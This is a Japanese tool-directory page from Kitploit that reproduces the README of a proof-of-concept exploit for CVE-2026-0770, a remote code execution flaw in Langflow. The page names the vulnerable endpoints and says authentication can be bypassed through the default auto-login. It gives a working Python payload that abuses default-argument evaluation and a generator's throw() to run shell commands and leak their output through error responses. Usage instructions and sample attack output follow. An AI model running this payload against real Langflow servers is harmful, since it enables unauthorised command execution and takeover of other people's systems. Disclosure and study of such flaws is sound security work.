Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0770-PoC — CVE-2026-0770 - Langflow リモートコード実行の概念実証 | Kitploit
ツール/GitHubGitHub/affix/cve-2026-0770-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセストロイの木馬
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

CVE-2026-0770 - Langflow リモートコード実行の概念実証

リポジトリを見る
6186ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-0770 - Langflow リモートコード実行

概要

Langflow には、src/lfx/src/lfx/custom/validate.py にある validate_code() 関数に重大なリモートコード実行の脆弱性が存在します。この関数は、サンドボックス化せずに exec() を使用してユーザーが提供した Python コードを実行するため、サーバー上で任意のコマンド実行が可能になります。

影響を受けるバージョン

  • Langflow 最新版(2026年2月7日時点)

その他の CVE

関連する関数およびエンドポイントで同様の脆弱性が確認されています:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

脆弱性の詳細

validate_code() 関数は、ユーザーが提供したコードを解析し、exec() を使用して関数定義を実行します:

root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- 任意のコード実行

exec_globals コンテキストには importlib と Python 組み込み関数へのアクセスが含まれるため、攻撃者は危険なモジュール(os、subprocess、socket)をインポートし、任意のシステムコマンドを実行できます。

脆弱なエンドポイント

エンドポイント認証攻撃ベクトル
POST /api/v1/validate/code必須*コードの直接送信
POST /api/v1/custom_component必須*コンポーネント定義内のコード
POST /api/v1/custom_component/update必須*コンポーネント更新内のコード
POST /api/v1/webhook/{flow_id}なしコードコンポーネントを含むフロー
POST /api/v1/build_public_tmp/{flow_id}/flowなし公開フローの実行

* AUTO_LOGIN=true(デフォルト設定)の場合、認証はバイパス可能です

その他の脆弱な関数

validate.py 内の以下の関数も安全でない exec() を使用しています:

関数行説明
validate_code()66ユーザーコードの検証
eval_function()140関数文字列の評価
execute_function()182任意の関数の実行
create_function()227コードから関数を作成
create_class()241-442prepare_global_scope() と build_class_constructor() を使用してクラスを作成

悪用方法

ジェネレーターの throw トリック

validate_code() 関数は関数定義のみを実行し、関数呼び出しは実行しません。出力を外部に送信しながらコード実行を達成するために、Python のデフォルト引数の評価順序を悪用します。

重要なポイント: デフォルト引数の式は関数の定義時に評価され、関数が呼び出されたときには評価されません。

root@kitploit:~
def foo(x=print("I execute immediately")):
    pass

ただし、HTTP レスポンスを通じて出力を外部に送信する必要があります。エンドポイントはレスポンスボディにエラーを返すため、出力を含む例外を発生させる必要があります。

問題: raise は文であり式ではないため、デフォルト引数で直接使用できません。

解決策: ジェネレーターの .throw() メソッドを使用します。これは例外を発生させ、かつ式として扱えます:

root@kitploit:~
(_ for _ in ()).throw(Exception("output here"))

これにより空のジェネレーターが作成され、即座に例外が発生します。コマンド出力を取得するためのラムダと組み合わせます:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

実行フロー:

  1. exec() が関数定義を実行
  2. デフォルト引数 _=... が即座に評価される
  3. subprocess.run() がコマンドを実行
  4. ラムダが結果を受け取り、ジェネレーターの .throw() を呼び出す
  5. コマンド出力を含む例外が発生
  6. validate_code() が例外を捕捉し、レスポンスにエラーを返す

使用方法

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

オプション

フラグ説明
-t, --targetターゲット URL(必須)
-c, --command実行するコマンド(デフォルト:id && whoami)
-k, --tokenJWT トークン(オプション、デフォルトでは自動ログインを使用)

出力例(Docker コンテナ langflowai/langflow:latest - 2026年2月7日)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

参考情報

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • 脆弱なファイル: src/lfx/src/lfx/custom/validate.py
ツールをダウンロード